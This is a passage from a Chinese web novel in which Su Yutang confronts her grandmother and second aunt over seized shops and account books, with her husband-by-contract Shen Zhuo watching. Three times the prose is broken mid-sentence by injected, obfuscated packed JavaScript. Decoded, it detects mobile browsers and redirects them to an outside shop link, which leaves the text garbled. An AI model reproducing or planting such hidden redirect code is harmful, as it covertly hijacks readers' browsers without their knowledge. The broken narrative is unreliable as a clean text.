“我这做舅舅的才来一日，棠棠便被逼着说出分家的话，这般乖巧懂事的好孩子，老太太是怎么把人逼成这样的？”温舅舅的声音从门口传来。 苏雨棠循声望去，只觉踏着朝阳进门的舅舅，像是会发光。 这就是被长辈坚定维护的感觉么？很温暖，很安心。 “小妹，你和棠棠这几年是不是都过着被人欺负的日子？”温舅舅站到温氏身侧。 温舅母站到苏雨棠另一侧，两位表兄则在门外守着，冷眼盯着院中下人，剑拔弩张。 温家也是商户，但比苏家有钱，可以说大房做生意赚钱，温家没少帮衬，老太太心知不能得罪。 她冲贾氏使了个眼色，贾氏忙打圆场：“哎呀，亲家舅兄误会啦，棠棠和大嫂……” 话没说完，便被温舅舅打断：“我要听棠棠和小妹自己说。” 贾氏臊红了脸，老太太脸色更不好看。 逮到这么好的机会，苏雨棠哪可能不告状？当即将老太太平日里动辄斥责她，时常给温氏立规矩的事说了。 “不仅如此，祖母还帮着二婶抢走了阿娘的好几间铺子，棠棠成亲时，舅舅舅母送来十几箱添箱，二叔二婶连根簪子也没买。父亲走后，他们个个欺负我们娘儿俩。”苏雨棠就近扯着温舅母衣袖，语气委屈地撒娇，“舅母，你们可得为阿娘和棠棠做主啊！” 到这一刻，苏雨棠才忽而意识到，只要舅舅、舅母肯给她们撑腰，她其实不用招赘。 不过，她与沈酌签订了契约，刚把人迎进门，就退回去，会不会不太好？ 算了，回头再跟沈酌说这事儿。 而沈酌呢，凝着苏雨棠委屈的侧颜，心口倏而揪紧。 她的委屈似乎比任何人都深切，她是他眼中最需要被呵护的一个。 母亲总教导他用功，告诉他须得出人头地，才能被父亲，被家族接纳。 此时此刻，他内心才真正燃气想要爬到高处的野心。 不为被那些辜负他们母子的族人，他希望苏小姐明丽的小脸上不再露出委屈之色。 10. 10 “岂有此理！”温舅舅怒不可遏。 贾氏见势不妙，忙招丫鬟上前，低声吩咐：“快去请二爷来。” “棠棠，祖母方才的话是重了些，可你也不该如此颠倒黑白。”老太太连连摇头，仿佛被她伤到，浑浊的眼睛挣得发红，“我知道你心疼你娘，可你娘在我身边服侍，不是祖母勉强她，是她一片孝心，代你死去的爹多尽一份孝啊。” “至于铺子，哎。”老太太哀戚叹息，捶了捶胸口，像是悲痛万分，“三年前，你爹发生那样的意外，你娘一时难以接受，伤心欲绝，祖母是见她没有精力打理铺子，怕她熬不住，才让你二婶代为打理。你若想拿回去，随时可以来找祖母便是，何必如此伤祖母的心？你这孩子平日里心思就重，没想到对我和你二婶误会如此之深。” 听到这话，温舅母都有些糊涂了，望着苏雨棠的眼神从坚定变得疑惑。 苏雨棠冲她摇摇头：“舅母，棠棠没撒谎。” “阿娘，您认同祖母所说的吗？日日立规矩，连生病也不能偷懒，您究竟是在代爹爹尽孝，还是被祖母逼迫？” 对于舅舅而言，阿娘本人的说辞才最有说服力，苏雨棠静静等着。 她见过阿娘默默垂泪。 梦里，她也曾被庄家老太太和庄母刁难。 她最是明白阿娘的委屈。 “小妹，你说，苏家可有薄待你？若有委屈，尽管告诉大哥，大哥虽离得远，却也不能让人欺我温家无人！”温舅舅唇角下压，不悦都摆在脸上。 有舅舅撑腰，这样大好的机会，苏雨棠以为，阿娘会将这些年的委屈都道出来。 不料，阿娘抬手抚抚她鬓发，泪水在眼眶里打转，轻轻冲她摇头：“棠棠长大了。” 女儿长大了，会当众为她鸣不平，可她一日是苏家妇，便被孝道压着，不能反驳老太太的话。 毕竟，代夫尽孝，是她的本分。 老太太固然话里有话，但也没说错。 “二弟妹，我如今已缓过来，可以亲自打理铺子了。”温氏将泪意压下，心平气和开口。 这下，连温舅舅也疑惑了，他是不是被棠棠影响，态度过分了些？ 阿娘怕担上不孝的名声。 她也是在梦里死过一次，才将那些都放下啊，阿娘的做法让她有些失望，可苏雨棠明白，一时半会让阿娘不在意那些虚名，很难。 罢了，若二婶识趣，老老实实把铺子和这几年的进项都还回来，她可以顺着阿娘的意思，不追究。 贾氏的父亲是秀才，自诩书香门第，可贾家称得上清贫，她嫁妆不多，夫君待她忽冷忽热，前些年一直嫉妒温氏，嫉妒大房夫妻和顺。 直到老大死了，老太太做主，拨了温氏的几间铺子给她，贾氏手里活络，才真正在苏家扬眉吐气。 三年过去，铺子里的人她都换了一批，若不是她撑着，荒废三年，铺子早关门了。 让她还回去，凭什么？ 贾氏一想想，就如割肉般难受。 可若不还，温家多少双眼睛盯着呢。 想想方才，贾氏觉着还是得从温氏下手，让温氏心软，把话收回去。 “大嫂，不是我舍不得还，可你多年未管过家，刚执掌中馈，就忙着府中宴请，眼看到年关了，年前年后又不知多少迎来送往等着你张罗。”贾氏拉住温氏的手，神情关切。 不知情的，还以为她二人平日里都这般亲热。 “你前两日才生了一场病，身子可好全了？要不等过了正月？正好我回去把账本核查几遍，届时一道给你送来。” 温舅舅拖家带口，还有生意要忙，总不可能在苏家住到二月去。 等把温家人送走，老太太自然会帮她。 她说的在理，温氏虽看出贾氏不情愿，却也想不出反驳的话。 妯娌毕竟帮她打理了三年，虽进项不多，但没有功劳也有苦劳，往后还在一个屋檐下呢，总不好闹得太僵。 贾氏也说了要还，有这句话就够了。 二婶说话时，苏雨棠便暗暗打量着阿娘的神情。 知母莫若女，阿娘眼神闪烁，她就猜到阿娘动摇了。 眼见着阿娘要开口答应，苏雨棠先一步笑道：“二婶是瞧我娘方才没诉苦，就当我们母女是泥捏的？” “阿娘对祖母至孝至顺，有些话，她不敢说，我来说。否则，旁人还以为舅舅故意对祖母不敬，来找茬呢。”苏雨棠顿住，回眸望一眼舅舅，才继续，“爹爹三年前意外身故，但祖母让阿娘立规矩，可不是三年前才开始的，难道爹爹在世时，阿娘也要代他尽孝么？那二婶为何从来不用？为何二婶可以坐下陪祖母用膳，阿娘只能站着替祖母布菜，等祖母吃完再吃残羹冷炙？” 老太太嘴唇哆嗦着，脸上火辣辣的。 苏雨棠却没就此放过她们，调转足尖，朝着贾氏：“二婶口口声声说是帮阿娘打理铺子，可为何三年前盈利良好的铺子，到了二婶手里，每年就剩几十两银子的进项了？二婶经营不善，还是中饱私囊？” “二婶打算今日归还铺子和账册，还是等我去顺天府报官再还？”苏雨棠似笑非笑，语气温和，威胁之意却不减，“庄公子还在牢里关着呢，侄女正好问问府尹大人，贾娘子与二婶的关系查清楚没有。” 沈酌默默消化着听到的一切，眼神渐渐起了变化，连他自己也未察觉。 不愧是苏小姐，即便面对长辈，也绝不任人欺压。 若当初母亲有苏小姐一半胆识与机敏，也不会落到被人休弃赶走的境地。 脑海中浮现出母亲憔悴凄苦的脸，被岁月磨砺得悲凉温顺的眼，他也只余叹息。 性子不同，各有各的宿命。 苏小姐有胆有谋，难得就过得容易么？ 沈酌隔着看不见的硝烟与恩怨，将她秀丽小脸上如刺的攻击姿态收入眼底，感受到心脏缩紧的心疼。 “贾娘子又是谁？”温舅母问。 冷意从足底急速攀升，贾氏脊背沁出密密麻麻的冷汗。 “既然大嫂身子已大好，我这就是安排。”贾氏借机溜走，这间屋子她是一刻也待不下去了。 她一走，老太太独自面对，顿时如坐针毡。 温氏满眼歉疚，想起郡主训诫她的话，更是无地自容。 这回温舅舅他们彻底听明白了。 夫妻二人对视一眼，温舅舅上前两步，直盯着老太太：“好啊，原来小妹嫁到苏家，过的是这种日子！苏家规矩这般大，还独独针对温家，看来是我温家高攀了。” 难怪棠棠一个小姑娘，敢说出分家！ 气头上，受苏雨棠“分家”二字的启发，温舅舅脱口而出：“小妹已替妹夫足足守了三年，尽也够了。老太太既对我家小妹不满，不如就此放人，我带她和棠棠回云州去，虽比不得京城，却也不会叫她们受欺负。或是另找个好人家改嫁，或是养她们母女一辈子，都与苏家再不相干！” 虽是冲动说出的话，可也是温舅舅此刻最真实的想法。 话刚出口，他便望向妻子，妻子眼中有着急，却没有埋怨。 妻子没有不想接纳小妹的意思，那他还犹豫什么？ “棠棠，跟舅舅回云州！”温舅舅当机立断。 回云州？好主意啊！ 苏雨棠此刻才意识到，她只想到为阿娘鸣不平，让阿娘不被欺负，还是太保守了。 怎么就没想到让阿娘离开苏家呢！ 只要阿娘带着她离开，再不用担心祖母、二房谋算她们娘儿俩的财产。 苏雨棠美眸微闪，神采奕奕，蠢蠢欲动。 一直打量着她的沈酌，顿时心急如焚。 他也不知为何。 理智上，他知道这是有利于苏小姐的选择。 可是，他就是不舍，甚至恐慌。 像是要失去生命中极为珍贵的存在。 他怕再也见不到。 “阿娘。”苏雨棠拉住温氏衣袖，眼中满是期待和鼓励。 所有目光都落到温氏脸上，除了上首的老太太。 “岂有此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543380|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理！我苏家还轮不到你们外人来做主！” 老太太嘴里不饶人，但终归是怕了。 当即起身，走到温氏面前，眼皮耷拉着，低声哀求：“燕珍，我老婆子或许有待你不周到的地方，可潜志生前待你不薄啊，你只生了棠棠一个丫头，没给他留个后，他也没委屈过你。如今棠棠都成亲了，你若是带着棠棠改嫁，我，我死了都无颜去见潜志啊。燕珍，就当可怜可怜我这老婆子，别走，啊。” 听到大哥说出改嫁二字，温氏自己也吓得不轻。 她从没想过改嫁，女儿都嫁过人了，她自己也将近不惑。 女儿年纪轻，休夫招赘，还能赞一句率性敢为。 她若听大哥的，只会被人戳脊梁骨，又不能真让大哥养她们一辈子。 婆母说的对，她死后，又如何去地下见亡夫呢？ “母亲别慌，儿媳不会走的。”温氏先安抚了老太太，扶她坐下，这才给了苏雨棠一个情绪复杂的眼神，向温舅舅道，“大哥，你对我和棠棠的好，我都懂，心领了。可我想留在京城，大哥的好意，小妹只能辜负。” 言毕，她别开脸，泪珠滚落。 不仅让大哥失望，更让棠棠失望。 果然，阿娘不会答应。 梦里直到阿娘病逝，也没离开苏家。 阿娘毕竟不是她，她不会照着阿娘的想法去生活，自然也不能勉强阿娘去走她认为更好的那条路。 温舅舅轻叹一声，摇摇头，带着一家人出去，把屋子留给苏家人。 “阿娘，我去找二婶拿账册。”苏雨棠也不知该说什么。 不如让阿娘与祖母说说话吧，若经此一事，祖母看到阿娘的好，往后待阿娘公平些，她便没白闹这一场。 她没有直接去二房，而是先回房歇歇。 方才一通折腾，有些耗费心力。 她可以应对，但她并不愿把精力消耗在这些事上。 沈酌呢，更没必要搭进来。 苏雨棠歪在美人榻上，望着见缝插针看书的沈酌，忽而开口：“三郎，今日苏家的情形，你也看到了，往后恐怕也不会平静。你若有旁的打算，今日便离开，还来得及。” “不算你违背约定，但我只能给你二十两银子，算是对你今日被我祖母责骂的补偿。” 泛着光泽的书案上，沈酌修长的指骨收紧，书卷微皱，涟漪藏在他眼里。 眨眼间，又平静无波。 看她与长辈对峙时，她半阖着眼出神时，他心里便总不能安定。 他预感到，苏小姐在考虑取消他们之间的约定。 她对他的表现不满意。 她有舅舅撑腰，已不需要他。 即便她不离开京城，他也即将失去她吗？ 心口微微的凉意，令沈酌想起昨夜暗巷里的冷风，和冷风里回忆的绮梦。 若没感受过温暖，没见过她的美好，他可以继续原本湿冷如深秋的日子。 可如今，他不得不正视自己贪心的一面。 理智冷静惯了，但面对她，他想将那些抛下，再用心去抉择一回。 “祖母说的没错，是我高攀娘子。”沈酌放下书卷，坐到她腿侧，面对着苏雨棠惊诧的神色，“我自知做的不好，还请娘子再给我一个机会，我会好好学。” 苏雨棠眨眨眼，一头雾水，这死活不改口的呆子，怎么突然唤她娘子了？ 对他好的时候，不情不愿。被祖母骂一顿，反而学乖了？什么毛病？ 不过，他自己愿意，她就有些舍不得放手了。 前途如此光明，样貌如此俊美的赘婿，她上哪儿找第二个？ “册子压在枕下，你晚些认真学学。”苏雨棠脸颊发烫，别开脸，清清嗓子，“你先去书院，我去瞧瞧铺子。” 起身时，她目光往沈酌肩膀、腰际溜了一圈，暗暗记下尺寸，昨夜似乎说过要给他置办衣物。 沈酌身形僵直，骨头成了烧着的炭，浑身冒热气。 他说的是学做赘婿，并非…… 11. 11 “真是怪事，从前那死丫头也不见得多伶俐，怎么自打嫁去庄家，再回来，就跟变了个人似的？”贾氏以最慢的速度整理着旧账册。 她压根都要咬碎了，不甘心，可谁让人家有明珠郡主撑腰呢？铺子不能不还。 但这些账册。 贾氏焦急不已，放下来，走到书案侧，抽走苏家二爷苏文渊手里的书。 “都什么时候了，你还有心思看书，方才我被架在火上烤，老爷不肯露面也就罢了。眼下，如何顺顺当当把铺子还给大房，你倒是给出出主意啊。” 说着，她声音低下去：“这些账册可不干净，银子多半都用在老爷读书上，翻了年便近春闱，老爷是做大事的，可不能沾上夺寡嫂嫁妆的恶名。” 到这句，苏文渊才掀起眼皮看她，轻蔑深藏眼底，眉心皱起。 “铺子是你接的，银子是你安排的，为夫一概未沾手，这恶名无论如何也落不到我身上。”苏文渊不疾不徐应，语气带着埋怨，“倒是你这做二婶的，被小辈逼得束手无策，很光彩么？我若去，二房在苏家面前更没脸。” 一席话，听得贾氏脊背窜上一阵寒意。 她张张嘴，却无从辩驳。 苏文渊过河拆桥，可他说的是事实，那些见不得光的事都是她做的，即便苏雨棠报官，他也能撇清。 从头到尾，他都将自己摘得干干净净。 她嫁了个什么人？贾氏望着苏文渊，心比腊月的天还冷，半晌说不出话。 小门小户出身，终究上不了台面，苏文渊心内暗暗鄙夷，移开视线，环顾屋内陈设。 目光落在罩着祥云纹熏笼的火盆：“小姑娘在庄家受了刺激，年少气盛，什么事都做得出，什么话都敢说，但也不过是个姑娘家，能成什么气候？你又何必自乱阵脚？近日你且让着她些，轻易别触霉头，等我春闱高中再说。我们手上的银钱，一年半载尽也够用。” 不管他多凉薄，他们总归是夫妻，一荣俱荣，一损俱损，贾氏听得出，他是站在她这边的，且没打算让她还银子。 “让着她倒是容易，就是等她看到这些账册，只怕不肯放过我们呀。”贾氏软下语气，眼神哀求，“老爷，你读书多，见多识广，给出出主意？” 苏文渊弯弯唇，没直接回应，而是站起身，走到火盆侧。 摘下微烫的黄铜祥云罩，握住火钳上方包裹细布的手柄，火钳尖端剪刀似得张开，伸入竹编炭篓夹起一块黑炭，稳稳搁在盆中烧得猩红的火炭上方。 火炭被黑炭遮挡，炙烤在手背的温度降下些许。 “那就不让她看到。”苏文渊侧身，将火钳放回原处，拂拂衣摆沾染的少许炭灰，气定神闲往外走。 二房走水了！ 听说这事时，苏雨棠人在铺子里，错愕不已。 二婶精明能干，梦里、现世，二房都没出过这种岔子。 偏偏在她强行收回铺子这日，能是巧合？呵。 玉簪也觉古怪：“可救下了？怎么起的火？” 报信的丫鬟喘了口气，点点头：“火已灭了！” 如今大太太掌家，二房霸占的铺子也已被小姐要回来，二房失势是明摆着的，小丫鬟也不怕说，绘声绘色道：“听说二太太坐在火盆边看账本，不留神睡着了，账本掉进火盆，点着屋里的帷幔不说，连二太太的裙子都被烧焦一截，可真险！好在及时扑灭，否则风一吹，一片屋子都要遭殃。” 听到第一句，苏雨棠边露出意味深长的笑。 默默听完，更是肯定了自己的猜测。 “奴婢出府时，二太太正在大太太屋里道歉呢，那条烧坏的裙子也没顾上换，狼狈得很。”二太太都开始巴结大房，小丫鬟不由自主受到影响。 “玉簪，赏她半吊钱买糖吃。”苏雨棠含笑吩咐。 二婶可真是被逼急了，这般拙劣的脱罪手段都能想出来。 故意穿着烧坏的裙子，是为了让阿娘看着心软吧？ 若她猜得没错，二房唯一值钱的损失，便是那些账册。 以为账册烧掉，她就没法子治他们了？ “玉簪，去各处铺子都知会一声，今日酉时打烊，我在对面酒楼设宴，与掌柜们叙叙家常。” 不多时，铺子门口传来吵闹声，听声音像是庄家人。 苏雨棠同掌柜交代几句，便出来瞧。 尚未迈出门槛，便听见庄母嚷嚷：“苏雨棠，你个黑心肝的小娼妇，快出来！否则，我让你这生意一天也做不下去！” “庄太太这么大嗓门，是在嚎丧么？那也该上顺天府大牢嚎去，看在两家昔日的交情上，我可以花几十个铜板买份花圈送去。”对方来者不善，苏雨棠也不客气。 有热闹瞧，门外的顾客，脚步明显慢下来，头扭到身后。 门里的客人闻声朝外探头，手里还抱着正在挑选的布匹。 “一日夫妻百日恩，你这个毒妇，把我儿子送进大牢不算，还咒他死！他在顺天府吃尽苦头，还被气吐血，都是因为你！”庄母狠毒地盯着苏雨棠，又四下张望，“大伙儿别被她骗了，她姓苏的长的就是一张狐媚子脸，我们庄家秉着婚约娶她过门，她却早就跟詹三郎有了首尾！否则，怎么刚甩掉我儿，就跟詹三搅和在一起，还藏头露尾，生怕人看到她情郎的脸？” “她自己不要脸，却恶人先告状，把脏水都泼到我儿身上，大伙儿给评评理啊！” 人群里，苏雨棠看到了庄父的脸。 对上她视线的那一刻，对方明显心虚，低下头，藏得更深了些。 苏雨棠收回视线，打量着庄母：“说完了？” 按理说，庄锦才还被关在顺天府，庄母有求于她，应当不敢同她撕破脸。 她很好奇，究竟有什么她的不知道的事，刺激了庄母，让庄母这般反常？ 她语气寻常，气势却足，庄母下意识后退一步，又靠理智顿住。 “怎么，你敢做，还怕让人知道？”庄母咬牙切齿道，“我要让你浸猪笼，让你拿情郎蹲大牢！” “凭什么？就凭你方才胡编乱造的那些？庄太太，你年纪大了，记性不好，晚辈不介意再提醒你一次。庄锦才是因污蔑我打折庄老太太手臂，被明珠郡主慧眼看破，才被送去顺天府查问的。如今庄太太血口喷人，是不是也想去吃牢饭？” 经她一提醒，围观的众人议论纷纷。 “我想起来了，就是明珠郡主派人送庄公子去的顺天府。” “对，那天我也在场，我还喝了苏小姐招赘的喜酒！苏小姐，我今日买布，是不是可以打八折？” “自然可以。”苏雨棠含笑应。 苏、庄两家的纠葛，到底比不上布匹折扣，不知情的人也纷纷问起打折的缘由，自有伙计出来招待。 这厢，苏雨棠冲一位神情犹豫的女子道：“这位大姐若不忙，劳烦替我去报官，就说庄太太血口喷人，在我铺子里闹事，回头我送大姐一匹布。” 女子未及回答，身侧已有人抢先道：“我脚大，走路快，我去帮苏小姐报官！” 几位顾客为了布匹，争抢报官的名额。 庄母脸色都白了，转身就要溜。 她才不想蹲大牢！ 刚走两步，便被庄父拉住，带回苏雨棠跟前。 “大侄女，还请给伯父一个面子，别让人去报官。”庄父扯扯庄母，冷声道，“还不快向苏家侄女赔礼道歉？！” 庄母嘴唇快咬出血了，终于还是低下头弯了腰。 见此情形，苏雨棠眉心微动，心神警惕。 “可怜天下父母心，你伯母也是心疼牢里的儿子，才出此下策。其实伯父知道，是我庄家让苏侄女受委屈了，说来说去，都是我儿不检点，伯父没把儿子教好，往后定当严加管教，绝不让他再做出有辱门风之事！” 说到此处，庄父神情微妙起来，气势更低，甚至带着些讨好：“我与你伯母今日前来，本意并非想闹事，而是想与苏家重修于好。” 苏雨棠眼睛微微眯起，有种不好的预感。 “只要大侄女在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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俨然是将他当普通账房，没有多瞧一眼。 “这样俊的书生，苏小姐都没拿正眼瞧，也不知那赘婿詹三究竟多俊美。”众人好奇被勾起来，也不盯着沈酌瞧了。 沈酌明白她的好意，忍下想问的话，闷头迈进门槛。 “我也没见过，但肯定比这位沈公子俊得多，否则，苏小姐怎么会对那无父无母的穷小子一见钟情，还为他大摆宴席，脸都舍不得让人瞧，唯恐被人抢走似的？” “是这个理！”有人笑出声，“爱美之心，谁没有啊？就许你们男人金屋藏娇，不许女子把俊俏赘婿藏在家里？人苏小姐是正经招的赘婿，又没犯法。” “可笑那庄家，还想娶回苏小姐，庄公子我可见过的，他家没镜子么？” “诶？”众人的声音，被郡主出行的架势打断。 朱琳琅走在前头，后面跟着两个宫婢，一位嬷嬷，还有七八位带刀侍卫。 瞧着进门男子的背影，有些眼熟，朱琳琅正细细在脑中搜寻线索，视线忽而被一张熟悉的漂亮的脸挡住。 “民妇参见郡主。”苏雨棠施礼，眼中含笑，“郡主是来买布的吗？我给郡主打八折。” 登时，朱琳琅的注意力被转移，没再关注已走进店铺里的沈酌。 “以你我的交情，怎么跟其他人一样，只打八折？哼！”朱琳琅佯装不悦，“亏我听到庄家来闹事，特意带着侍卫来给你撑腰。” 言毕，她四下望望：“庄家的人呢？” “已经被我打发走了，多谢郡主的好意！”苏雨棠凑近她些，声音低下去，“那就七折吧，再少就要亏本了，友情价，郡主可千万别说出去。” 朱琳琅点了点她额头：“奸商，我才不信！” “走。”郡主拉住她的手，眼神兴奋闪亮，“有好玩的事告诉你，你听了指定高兴！” 半盏茶的功夫后，苏雨棠一面呛咳，一面捏着帕子擦拭桌上溅的些许茶水。 陈设古雅秀致的雅间里，她红着脸，小声问：“郡主说真的？郎中说，庄锦才不能人道了？” 12. 12 话得从郡主进大牢，告诉庄锦才，苏雨棠招赘婿进门的事说起。 如她们所料，庄锦才当时就被气得吐出一大口血，溅得大牢泥地上、稻草上红腥腥的。 郡主哪见过这场面？ 丢下一句“晦气”，吩咐顺天府尹即刻去请郎中来瞧。 想回端王府告诉母妃，她又闯祸了，又怕姓庄的真被气死，她要背上人命，便在府衙等着，看要不要请太医。 幸好，郎中细细诊过后，顺天府尹把人带来回话，说是庄锦才没有大碍，只是一时急火攻心。 郡主这才松一口气，打算回王府换身衣裳，去去晦气。 可她刚站起身，甩袖欲走，却听顺天府尹急急道：“郡主且慢，郎中还有事禀报。” 郡主蹙眉：“姓庄的还有旁的毛病？那可与本郡主无关啊，齐大人，若我父王问起，你务必替本郡主作证！” “是是是。”齐大人应和着，瞟了郎中一眼，低声急催，“还不快说！” “郡主明鉴，小人把出来，那庄公子前两日应当是受过惊吓，还得过一场热症。”郎中擦着冷汗，战战兢兢禀报。 郡主还没出嫁呢，接下来的话，他能说吗？怎么说啊？ “巧了，本郡主当时也在场，他那是咎由自取。”朱琳琅尚未意识到事情的严重性，对庄锦才的私事兴致缺缺，有些不耐烦，“接着说。” 郎中一闭眼，一咬牙：“热症已退，却有个难以启齿的后遗症，那庄公子往后，极有可能，再也不能人道了。” “啊？？？”朱琳琅当时的惊诧，没比苏雨棠此刻的少。 “郎中没把话说死，但我听得出，那姓庄的应当的得了不举的毛病，治不好的。”朱琳琅冲苏雨棠挤挤眼，“幸好你果断休夫，跟着那种怂包能有什么盼头？怎么样，惊不惊喜意不意外？” “那他岂不成了废人一个？”苏雨棠仍瞠目结舌。 脑子重新将郡主的话梳理一遍，慢慢消化。 怎么也想不到，那晚休夫，不止把庄锦才吓病一场，竟还有意外收获。 果然，恶人贼人者，天必祸之。 如此想来，梦里，庄锦才找遍各种门路，却止步于六品，不得寸进，会不会也是报应？ “可不是。”朱琳琅颔首，瞧她目光定在茶汤上，明显出神，朱琳琅抬手，手掌在她面前晃晃，“想什么呢？” “郡主可知，方才庄父、庄母来我这儿闹事，意欲何为？”苏雨棠重新感受到茶盏透入指腹的温热，眼底漾着浅笑，眼神了然。 郡主抿唇思忖一瞬，撇撇嘴：“总归没好事。” “他们威逼利诱，让我回头去做庄家媳呢。”苏雨棠失声轻笑，笑声像清圆莲叶上陡然兜不住的露珠，莹净洒脱，“多亏郡主告诉我这些，否则我只当他们仍惦记我那点儿嫁妆呢。” “做他们的春秋大梦，本郡主第一个不答应！”朱琳琅气得不轻，明知苏雨棠不会想不开，却还是忍不住威胁，将她任何动摇的可能彻底掐灭，“不管他们说得多好听，你都不许回头，否则，否则我让父王治你的罪！” 苏雨棠忍俊不禁，连声应：“不敢，不敢。” 声音飘出窗棂，钻进隔壁沈酌耳朵里。 他抄书的手极稳，只眼神闪了闪，某根绷紧的弦，不知不觉放松了些。 “不说庄家那一窝蛇鼠了，说说你私藏的那位赘婿吧。”朱琳琅捧起茶盏，小口嘬品，斟酌一番方开口，“我听说无父无母之人最是命硬，弄不好还是克妻的命格，你招赘前，可有跟你那宝贝三郎好好合过八字？时间这么短，恐怕不够仔细，还是正经上庙里算算，若旺你的运道自然最好，若命中带煞，再俊也不能要的！” 咳咳，苏雨棠被茶水呛着，捏起帕子遮掩心虚。 八字自然没来得及合，毕竟她又不是正经成亲，繁文缛节能免则免。 合了八字也不能保证顺风顺水，白首偕老啊。与庄家的婚事，一切都按仪程走，实则半点靠不住。 再说，沈酌又不是真的无父无母，那是她瞎编的身世。 至于沈酌旺不旺她，那她还能不清楚么？ 背靠大树好乘凉，等沈酌高中探花，为官做宰，只要念她一分情，许她一点点方便，就够她受用的了。 再诞下一两个聪慧正直的孩儿，她老了也有指望。 她可不是被男色所迷，她是在种树啊！ 但这些无法告诉郡主。 “郡主提醒得极是，可三郎他貌若潘安，我一看到他那张脸，便顾不得那些了。眼下他已是我的人，好坏也只能认。不过，他刚入府，我便听到庄锦才不举的好消息，今日铺子里的生意也比平日好上三成，可见他多半是旺我的。”苏雨棠浅笑，“再说，我还有郡主这个朋友呢，郡主金尊玉贵，什么煞气镇不住？我与郡主相识，沾了天大的福气，不惧那些。” 隔壁，沈酌手一抖，不小心毁了抄到一半的字迹。 苏小姐夸他貌若潘安。 沈酌脸上微微发烫。 他何德何能？ “这话本郡主爱听，你这个朋友，我交定了！”朱琳琅解下腰侧玉佩，递到苏雨棠面前，“有事就拿着它去端王府找我。” 苏雨棠目光落在她指尖，是一块光润的上等羊脂玉佩，雕工极好，刻着一头圆滚滚的大象，耳如扇，鼻如钩，背托莲花，太平有象的纹样，她在书上看到过。 这是一枚看起来就蕴藏福气的玉佩，估摸着是御赐之物。 “太贵重了，我不能收。”苏雨棠自然摆在桌面的手，下意识往后缩缩，没敢接。 朱琳琅可不管，伸手拉住她手腕，蛮横地将玉佩塞到她手中。 “本郡主赏你，你就乖乖拿着！” 郡主是性情中人，帮了她许多，待她不薄，眼见着天色转暗，到用晚膳的时辰了，苏雨棠有心请郡主用膳。 刚要开口，又咽回喉间，有些为难。 她已让玉簪约了几位掌柜，尤其是二婶手底下的那几个，今日是她立威的时候，若临时改期，恐怕不妥。 “郡主，对面酒楼菜色不错，我有意请郡主用膳，聊表谢意，无奈今日有旁的事要处理，实在抱歉。”苏雨棠面带歉意，实话实说。 与人相交，贵在心诚，与郡主相交，确实是她高攀，但她没打算一味逢迎。 “不知郡主哪日得空，我改日再请郡主如何？”苏雨棠眼中含笑，不卑不亢。 “你也太实诚了。”朱琳琅见惯了曲意逢迎的，望着她，直摇头，“说什么道谢，你不是刚请我喝了喜酒？有事只管忙去。” 说着，她声音压低了些，凑近苏雨棠：“母妃知道我过来，我正好有正当借口晚些回去。待会儿就换身男装，去夜市寻好吃的！” “走了！”郡主起身，潇洒冲她摆摆手。 苏雨棠亲自将人送到门口，顺势望望天色。 待郡主走远，她回身问玉簪：“他们人呢？可都到了。” “已在酒楼候着。”玉簪轻禀，想到什么，又语气不忿补充，“有位钱掌柜本想称病不来，奴婢瞧他好着呢，就照小姐的吩咐，告诉钱掌柜，若今日不来，往后都不用来了，他这才老实。” “嗯，晚些去查查钱掌柜，还有二婶用的其他人，也都查查底细。”苏雨棠声音压得极低，“你先去酒楼盯着些，看他们都聊些什么，我去叫上沈酌。” 好不容易平复心绪，沈酌换了张纸笺，正专心抄书。 掀开蓝底绣白梅的门帘，苏雨棠一眼便瞧见他端正清瘦的背影。 她脚步顿住，暂时没着急进去，而是默默欣赏着。 这人虽瘦，肩膀倒也宽直，与衣料同色的束发带垂在脑后，朴素清雅。 说他貌若潘安，自然是随口哄郡主的，可细细瞧去，也不算她夸大其词。 外间人来人往，苏雨棠并未多瞧。 她举步往里走，语气是公事公办的疏离：“沈郎君，可忙完了？” 听到熟悉的声音，沈酌脊背一紧，骤然回神。 听她语气，他便明白她的用意，如在门口时一样，她在人前表现出与他不熟。 他与铺子里的掌柜、伙计、帮工，并无什么两样。 不，她对他们，表现得还更熟稔些，毕竟是用惯了的人。 这是情理之中，且是为他好，但不知为何，沈酌心里不是滋味。 “苏小姐。”他顺从她的心意，躬身施礼。 苏雨棠点点头，转身时淡淡吩咐：“随我去对面酒楼见几个人，之后我有重要的事交给你做，做好了，才能在我手底下做账房。” “是。” 片刻后，两人一前一后进到酒楼雅间。 很大一间，四下花木扶疏，古玩错落，当众摆一张大圆桌，十人同席也不显局促。 “大小姐。”所有掌柜笑脸相迎。 都是做生意的老手，笑得恰到好处，辨不清谁是人，谁是鬼。 “都坐下吧，诸位掌柜尽职尽责，我一直想找机会感谢大家，昨日招婿仓促，没来得及请诸位，今日特在此设宴款待，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545326|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家务必吃好喝好。”苏雨棠也噙着笑，看起来毫无威慑力。 其中几位掌柜面面相觑，心里犯嘀咕，二太太的权真是被这大小姐夺去的？ 